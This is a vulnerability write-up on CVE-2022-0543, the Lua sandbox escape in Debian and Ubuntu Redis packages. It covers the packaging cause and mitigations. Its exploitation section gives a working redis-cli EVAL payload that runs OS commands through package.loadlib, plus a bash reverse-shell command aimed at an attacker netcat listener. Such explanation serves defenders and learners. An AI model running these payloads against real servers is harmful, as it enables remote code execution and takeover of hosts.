Summary

CVE-2022-0543 is a critical vulnerability affecting certain Debian and Debian-derived Linux distributions running the Redis server. Redis is a widely used open-source in-memory data store used for caching, messaging, and session management. The vulnerability stems from a packaging defect in how the Redis packages for Debian and Ubuntu integrate the Lua scripting engine. This defect allows an attacker to escape the intended Lua sandbox and execute arbitrary code on the host system, resulting in remote code execution. Upstream Redis builds are not affected; the issue arises specifically due to how Debian packages Redis with dynamically linked Lua libraries and exposed sandbox environment variables. 

Technical Breakdown: How the Vulnerability Works

To understand CVE-2022-0543, we first need to understand how Redis uses Lua and what a sandbox is supposed to do.

How Redis Uses Lua

Redis allows users to run Lua scripts on the server using commands like EVAL. This feature is useful because it lets developers execute logic directly inside Redis without moving data back and forth between the application and the database.

However, running code on the server can be dangerous. To prevent misuse, Redis runs Lua scripts inside a restricted environment called a sandbox.

A sandbox is meant to limit what the script can access. In Redis:

• Lua scripts can interact with Redis data.
• Lua scripts should not access the operating system.
• Lua scripts should not execute system commands.
• Lua scripts should not load external libraries.
  
  

This restriction is critical. Without it, anyone who can run a Lua script in Redis could execute commands on the host machine.

What Went Wrong

The vulnerability did not exist in upstream Redis. It was introduced in Debian and Debian-based distributions because of how Redis was packaged.

Upstream Redis statically links Lua and carefully controls which Lua libraries are available. Dangerous components such as the package library are removed from the Lua global environment. This ensures that scripts cannot load additional libraries or interact with the operating system.

In Debian’s Redis package, Lua was dynamically linked using the system’s shared Lua library. Because of this packaging difference, the Lua environment inside Redis unintentionally exposed the global package object.

The package object is part of standard Lua. It allows loading shared libraries at runtime using the package.loadlib() function.

This was the core issue.

The Redis Lua sandbox did not remove or restrict access to package. As a result, an attacker could:

1. Access the package object.
   
   
2. Use package.loadlib() to load system libraries.
   
   
3. Import functionality such as the os module.
   
   
4. Use functions like os.execute() to run arbitrary system commands.
   
   

At that point, the sandbox restriction was effectively bypassed.

In simple terms:

• Redis trusted that Lua would not expose dangerous functionality.
• Debian’s packaging exposed that functionality.
• The sandbox was incomplete because one dangerous object remained accessible.
  
  

This small difference was enough to break the entire security boundary.

The impact depends on how Redis is configured:

• If Redis runs as root, full system compromise is possible.
• If Redis runs as a low-privileged user, the attacker gains that user’s access.
• If Redis is exposed to the internet without authentication, exploitation becomes trivial.
  
  

This is why the vulnerability received a critical severity rating.

‍

Exploitation

The following section demonstrates exploitation of CVE-2022-0543 using the publicly available proof of concept:

This demonstration assumes:

• Target is running a vulnerable Debian or Ubuntu Redis package
• Redis is accessible over the network
• Lua scripting is enabled

‍

Step 1: Confirm Redis Accessibility

Verify that the Redis service is reachable:

redis-cli -h  -p 6379

If access is successful, you should see the Redis prompt.

Step 2: Execute Arbitrary Command

The exploit abuses the exposed Lua package interface to escape the sandbox and load system libraries. This allows execution of OS commands.

Using the public PoC logic, command execution can be achieved with:

redis-cli -h  -p 6379 EVAL "local f = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_os'); local os = f(); return os.execute('id');" 0

‍

Explanation:

• package.loadlib() loads the Lua OS library.
• luaopen_os initializes the OS module.
• os.execute() runs a system command.
• In this example, id confirms command execution.

If successful, the command executes on the host system. You can replace id with other commands like whoami, ls, etc.

Step 3: Reverse Shell

After confirming command execution, a reverse shell can be obtained.

On the attacker machine:

Start a listener:

nc -lvnp 4444

On the target via Redis exploit:

Execute a reverse shell payload:

redis-cli -h  -p 6379 EVAL "local f = package.loadlib('/usr/lib/x86_64-linux-gnu/liblua5.1.so.0', 'luaopen_os'); local os = f(); os.execute('bash -c \"bash -i >& /dev/tcp//4444 0>&1\"');" 0

Replace <ATTACKER_IP> with your listener IP.

If successful, you will receive an interactive shell on your listener.

‍

Mitigations

1. Update Redis

Upgrade to the patched Redis package provided by Debian or Ubuntu. The fix removes access to the unsafe Lua package interface and restores proper sandbox isolation.

2. Restrict Network Access

Do not expose Redis directly to the internet. Bind it to localhost when possible and restrict access using firewall rules.

3. Enable Authentication

Configure password protection or Redis Access Control Lists to prevent unauthorized users from executing commands such as EVAL.

4. Run Redis as a Non-Root User

Ensure Redis runs under a dedicated low-privileged account to reduce the impact of potential exploitation.

‍

References

Original blog analysis of the sandbox escape in Debian Redis.

National Vulnerability Database entry for CVE-2022-0543.

Debian and Ubuntu security advisories detailing fixes.

‍